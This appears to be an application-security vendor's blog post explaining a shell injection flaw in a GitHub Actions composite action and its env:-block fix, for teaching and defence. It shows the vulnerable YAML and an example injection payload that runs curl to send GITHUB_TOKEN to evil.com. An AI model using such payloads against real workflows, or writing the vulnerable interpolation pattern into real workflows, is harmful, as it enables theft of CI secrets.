Back to Blog
high SEVERITY6 min read

How shell injection via `${{` variable interpolation happens in GitHub Actions and how to fix it

A high-severity shell injection vulnerability was discovered in `.github/commaSplitter/action.yaml` where unsanitized user input was directly interpolated into a bash `run:` step using `${{ inputs.input }}`. An attacker could craft a malicious input string to escape the shell command and execute arbitrary code on the GitHub Actions runner, potentially stealing secrets and source code. The fix introduces an intermediate environment variable to safely pass the input without shell interpretation.

O
By Orbis AppSec
Published July 24, 2026Reviewed July 24, 2026

Answer Summary

This is a GitHub Actions shell injection vulnerability (CWE-78) caused by using `${{ inputs.input }}` directly in a `run:` step in a composite action YAML file. The fix replaces the dangerous interpolation with an `env:` block that assigns the input to an environment variable (`INPUT`), which is then referenced as `"$INPUT"` in the shell script—preventing attacker-controlled input from being interpreted as shell commands.

Vulnerability at a Glance

cweCWE-78 (OS Command Injection)
fixUse an `env:` block to pass input as an environment variable instead of inline interpolation
riskArbitrary code execution on CI runner, secret exfiltration, supply chain compromise
languageYAML / Bash (GitHub Actions)
root causeDirect use of `${{ inputs.input }}` in a `run:` shell step without sanitization
vulnerabilityShell injection via GitHub Actions expression interpolation

How Shell Injection via ${{ Variable Interpolation Happens in GitHub Actions and How to Fix It

Introduction

In a production repository's .github/commaSplitter/action.yaml, we discovered a high-severity shell injection vulnerability at line 19. The composite action's purpose is simple: take a comma-separated input string and split it into a JSON array. But the way it consumed user input—by directly interpolating ${{ inputs.input }} into a bash run: step—created a dangerous attack surface that could allow an attacker to execute arbitrary code on the GitHub Actions runner, steal repository secrets, and compromise the CI/CD pipeline.

The vulnerable line looked like this:

IFS=',' read -ra list_data <<< "${{ inputs.input }}"

This pattern is deceptively common in GitHub Actions workflows. Developers often assume that because the input is "just a string," it's safe to interpolate directly. But GitHub Actions expression interpolation happens before the shell script is constructed, meaning an attacker's payload becomes part of the script itself.

The Vulnerability Explained

How GitHub Actions Expression Interpolation Works

When GitHub Actions encounters ${{ inputs.input }} in a run: step, it performs a text substitution at the YAML template level. The resulting string is then written to a temporary shell script file and executed. This means whatever value inputs.input contains becomes literal shell script text.

Here's the vulnerable code in .github/commaSplitter/action.yaml:

runs:
  using: "composite"
  steps:
    - name: Split the input
      id: splitter
      shell: bash
      run: |
        IFS=',' read -ra list_data <<< "${{ inputs.input }}"
        output=$(jq -cn '[$ARGS.positional[]]' --args "${list_data[@]}")
        echo "output=$output" >> $GITHUB_OUTPUT
        echo "output: $output"

The Attack Scenario

Imagine this composite action is called from a workflow that processes data from a pull request or issue—perhaps splitting a comma-separated list of labels, file paths, or reviewer names. An attacker could provide an input value like:

"; curl -s https://evil.com/exfil?token=$(cat $GITHUB_TOKEN) #

After GitHub Actions interpolation, the generated shell script would become:

IFS=',' read -ra list_data <<< ""; curl -s https://evil.com/exfil?token=$(cat $GITHUB_TOKEN) #"

The attacker has:
1. Closed the heredoc string with "
2. Terminated the first command with ;
3. Injected an arbitrary curl command that exfiltrates the GITHUB_TOKEN
4. Commented out the rest of the line with #

Even more dangerous payloads could:
- Access all secrets available to the workflow via ${{ secrets.* }} (which are exposed as environment variables)
- Modify the repository by pushing malicious commits
- Install backdoors in build artifacts (supply chain attack)
- Pivot to other systems using stored credentials

Why This Is Particularly Dangerous

The commaSplitter action is a reusable composite action. Any workflow in the repository (or potentially in other repositories if it's a public action) that calls this action with user-influenced data becomes vulnerable. The blast radius extends beyond a single workflow file.

The Fix

The fix introduces an intermediate environment variable using the env: block, which is the GitHub-recommended pattern for handling untrusted input:

Before (vulnerable):

    - name: Split the input
      id: splitter
      shell: bash
      run: |
        IFS=',' read -ra list_data <<< "${{ inputs.input }}"
        output=$(jq -cn '[$ARGS.positional[]]' --args "${list_data[@]}")
        echo "output=$output" >> $GITHUB_OUTPUT
        echo "output: $output"

After (fixed):

    - name: Split the input
      id: splitter
      shell: bash
      env:
        INPUT: ${{ inputs.input }}
      run: |
        IFS=',' read -ra list_data <<< "$INPUT"
        output=$(jq -cn '[$ARGS.positional[]]' --args "${list_data[@]}")
        echo "output=$output" >> $GITHUB_OUTPUT
        echo "output: $output"

Why This Works

The critical difference is when and how the value is processed:

  1. env: block assignment: INPUT: ${{ inputs.input }} — GitHub Actions sets the environment variable INPUT to the literal string value of inputs.input. The value is stored as data, not injected into script text.

  2. Shell variable reference: "$INPUT" — When bash executes, it reads the INPUT environment variable. Because it's enclosed in double quotes, the shell treats it as a single string argument, regardless of what characters it contains. Shell metacharacters like ;, |, $(), and backticks are not interpreted.

The attacker's payload "; curl -s https://evil.com/exfil # would now simply be passed as a literal string to the read command—it would be treated as data to split on commas, not as shell commands to execute.

Prevention & Best Practices

1. Never Use ${{ }} Directly in run: Steps with Untrusted Data

Any GitHub context that can be influenced by external users is untrusted:
- github.event.pull_request.title
- github.event.pull_request.body
- github.event.issue.title
- github.head_ref
- inputs.* (for reusable/composite actions)
- github.event.comment.body

2. Always Use the env: Pattern

env:
  UNTRUSTED_DATA: ${{ github.event.pull_request.title }}
run: |
  echo "Processing: $UNTRUSTED_DATA"

3. Enable Static Analysis for GitHub Actions

Use tools like:
- Semgrep with the yaml.github-actions.security.run-shell-injection.run-shell-injection rule
- actionlint — a dedicated GitHub Actions linter
- CodeQL — GitHub's own code scanning with Actions-specific queries

4. Limit Permissions

Use the permissions: key to restrict GITHUB_TOKEN scope. If a workflow only needs to read code, don't grant it write access:

permissions:
  contents: read

5. Review Composite Actions Carefully

Composite actions are reused across workflows. A single vulnerability in a composite action multiplies across every caller.

Key Takeaways

  • ${{ inputs.input }} in a run: step is never safe when the input can be influenced by untrusted users—even in composite actions that seem internal.
  • The commaSplitter action's simple comma-splitting logic masked a critical injection point because developers focused on the business logic rather than the data flow.
  • Environment variables with env: blocks are the only safe way to pass GitHub context data into shell scripts in GitHub Actions.
  • Composite actions amplify risk because they're reused—fixing this one file protects every workflow that calls commaSplitter.
  • Semgrep's run-shell-injection rule reliably detects this exact pattern and should be part of every repository's CI pipeline.

How Orbis AppSec Detected This

  • Source: The inputs.input parameter of the composite action at .github/commaSplitter/action.yaml, which receives arbitrary string data from calling workflows.
  • Sink: The run: step at line 19, where ${{ inputs.input }} was directly interpolated into a bash heredoc string (<<< "${{ inputs.input }}"), allowing shell command injection.
  • Missing control: No intermediate environment variable or input sanitization was applied between the untrusted input source and the shell execution context.
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Replaced direct ${{ inputs.input }} interpolation with an env: block (INPUT: ${{ inputs.input }}) and referenced the environment variable ("$INPUT") in the shell script.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Shell injection in GitHub Actions is one of the most underappreciated security risks in modern CI/CD pipelines. The ${{ }} interpolation syntax makes it trivially easy to introduce command injection vulnerabilities that can compromise secrets, source code, and build artifacts. The fix demonstrated here—using an env: block to safely pass inputs.input as the INPUT environment variable—is simple, behavior-preserving, and eliminates the attack surface entirely. Every team using GitHub Actions should audit their workflows for this pattern today.

References

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #602

Related Articles

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.

high

How shell injection happens in GitHub Actions workflows and how to fix it

A composite GitHub Action in `.github/actions/design-health/action.yml` interpolated `inputs.path`, `inputs.verbose`, and other values directly into `run:` shell scripts using `${{ ... }}` syntax. Because these values are substituted as raw text before the shell ever runs, an attacker-influenced input could inject arbitrary shell commands into the CI runner. The fix moves every interpolated value into `env:` blocks so the shell treats them as data, not code.

high

How Missing Dependabot Cooldown Periods Enable Supply Chain Attacks in CI/CD Pipelines and How to Fix Them

We fixed a high-severity supply chain security gap in `.github/dependabot.yml` where missing cooldown periods allowed immediate adoption of newly published packages. The fix adds `cooldown: default-days: 7` to all package ecosystems, creating a critical security buffer against typosquatting and malicious dependency attacks.

high

How GitHub Actions Mutable Tag References and Unsafe Remote Script Execution Enable Supply-Chain Attacks in CI/CD Workflows

A `.gitea/workflows/release.yml` file contained two critical security issues: GitHub Actions steps using mutable version tags (like `v4`) instead of immutable commit SHAs, and a dangerous `curl | bash` pattern that pipes untrusted remote scripts directly into a shell. These vulnerabilities could enable attackers to inject malicious code into the CI/CD pipeline through action takeovers or compromised download servers.

high

How GitHub Actions script injection happens in YAML workflows and how to fix it

A composite GitHub Action interpolated `${{ inputs.version }}`, `${{ inputs.project }}`, and `${{ inputs.args }}` directly into `run:` shell commands, letting an attacker-controlled action input inject arbitrary shell code into the runner. The fix moves each input into an `env:` block and references it as a quoted shell variable, closing off the injection primitive without changing legitimate behavior.

high

How mutable action tag vulnerabilities happen in GitHub Actions and how to fix it

The `bench-probe.yml` workflow referenced a GitHub Action by a mutable tag or branch name instead of a full commit SHA, leaving the pipeline exposed to supply-chain attacks if the action owner's tag were ever repointed. The fix pins the action to an immutable 40-character commit SHA, closing the same class of gap exploited in the real-world trivy-action and kics-github-action compromises.